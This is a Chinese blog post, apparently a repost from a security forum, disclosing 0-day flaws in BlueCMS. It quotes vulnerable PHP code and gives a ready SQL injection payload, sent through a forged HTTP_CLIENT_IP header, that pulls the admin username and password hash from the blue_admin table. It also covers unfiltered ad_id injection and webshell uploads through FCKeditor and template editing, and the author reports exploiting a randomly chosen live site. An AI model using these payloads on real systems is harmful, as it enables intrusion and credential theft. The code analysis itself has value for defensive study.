我喜欢黑夜,喜欢网络安全,孤独寂寞的黑夜里,我只需要,一包烟,一台笔记本...
更多
首  页>>JAVA安全开发>> 漏洞信息Bluecms 0day 大集合
Bluecms 0day 大集合
3526
0推荐
0评论

既然论坛都整改了,把我所有所有的JB都清空了。大家有0day都舍不得放出来,好吧,从我开始吧,把我挖的0day都放出来了。希望大家有0day的都放出来。别藏着了,藏着Mjj了。
Bluecms也就是从一个公司教程看到的cms,然后想了想,既然那里面拿来做教程,我就挖挖这套cms漏洞,我也没深挖到底,也没能坚持把代码看完。但是已经发现了很多很多的问题。其实能拿到shell就可以了。

1.jpg




采集俺的MJJ


0x01. 注入

client_ip伪造注入

看代码吧,

这里的getip函数是获取Ip的,由于,client_ip和x_forwarded_for都可以伪造。

在 include/common.fun.php 的106行

            function getip()   
   
  {   
   
     if (getenv('HTTP_CLIENT_IP'))   
   
     {   
   
         $ip = getenv('HTTP_CLIENT_IP');    
   
     }   
   
          
   
     else if (getenv('HTTP_X_FORWARDED_FOR'))    
   
     { //获取客户端用代理服务器访问时的真实ip 地址   
         $ip = getenv('HTTP_X_FORWARDED_FOR');   
   
     }   
   
    else if (getenv('HTTP_X_FORWARDED'))    
   
     {    
   
         $ip = getenv('HTTP_X_FORWARDED');   
   
     }   
   
    else if (getenv('HTTP_FORWARDED_FOR'))   
   
     {   
   
         $ip = getenv('HTTP_FORWARDED_FOR');    
   
     }   
   
     elseif (getenv('HTTP_FORWARDED'))   
   
     {   
   
         $ip = getenv('HTTP_FORWARDED');   
   
     }   
   
     else
     {    
   
         $ip = $_SERVER['REMOTE_ADDR'];   
   
     }   
   
 return $ip;   
   
}
        

我们继续跟踪一下getip()这个函数的应用。

comment.php中的113行

            $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)    
    
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";   
   
$db->query($sql);
        

这里我们伪造下ip测试下。
2.jpg


3.jpg




看看结果

4.jpg






可以看到了么?

已经是注入了

问题这里的是报错是。。它已经单独写出报错的语句,以致我们不能利用报错语句,直接爆出用户名和密码。但是我们可以用盲注的方式进行来搞用户名和密码了。但是这样子太麻烦了。之前,我一直在想啊,想啊,用啥方法来注呢, 注,注。。。。。。。

毕竟人的思维太宽了。因为这是个insert的语句,我们可以插入我们想要的信息,然后通过前台页面显示出来,

我们可以这样子构造语句

a','xxx'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),'1645457407','sss','1')#

前面的闭合前面一个insert语句,因为insert语句的话,我们可以insert into table (a,b,c) values ('fuck1','fuck2','fuck3'),('fuck4','fuck5','fuck6')......这样可以多插几个的。这样子,我们就可以意淫了,

我们测试下

看到了么?用户名和密码已经被我们搞到手了
5.jpg

这是其一。


0x02 继续上个注入
在 ad.js.php中 19行

    $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';   
   
if(empty($ad_id))   
{   
   
    echo 'Error!';   
   
    exit();   
}   
      
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

这里的$ad_id未经过任何过滤就传过来了,并且这里就直接注入了


所以这里就是赤裸裸的注入


所以这里随便选取个站,已经取到

6.jpg




0x03 getshell

再说一下,直接getshell把

由于存在fck

版本,2.6.3

直接getshell
7.jpg




0x04 后台拿shell

来到系统设置 再到 模板管理 然后点击编辑

这里编辑的是模板
8.jpg


然后点编辑

9.jpg




我们跳到上层目录去
10.jpg





可能问题还很多。

总之一句,无论一套程序出现的安全问题多大,我还是不会去鄙视这些程序员,因为真正的一套cms要我来开发,我只能说我。。。。。。,以前我也是怀着BS的心态去看待一些爆有很多安全问题的程序。终于当有一天去做开发,我就明白了。其实俺当初怀着SB的心态去看我今天写的SB程序。所以最后一句还是那句,尊重别人的劳动果实。转摘请注明转自


来自 :http://hi.baidu.com/sethc5/blog
http://www.90sec.org/

已经有 ( 0 ) 位网友对此发表了自己的看法,你也评一评吧! 此文不错,我要推荐-->    推 荐
欢迎参与讨论,请在这里发表您的看法、交流您的观点@禁止各种脚本

  • 点击Top
  • 推荐Top
  • 评论Top
更 多>>
本站采用Java语言开发,Spring框架,欢迎朋友们提意见。重新对页面进行布局,修改了程序,方便开源使用,由于本人美工真的不行 ,很少用背景图片,页面基本都用背景色...
主题:无色无味 | 网站地图|
Copyright (c) 2012-2013 www.shack2.org All Rights Reserved. | 空ICP备111111111号 | 程序设计: shack2 Powered by SJBlog v1.0 联系QQ:1341413415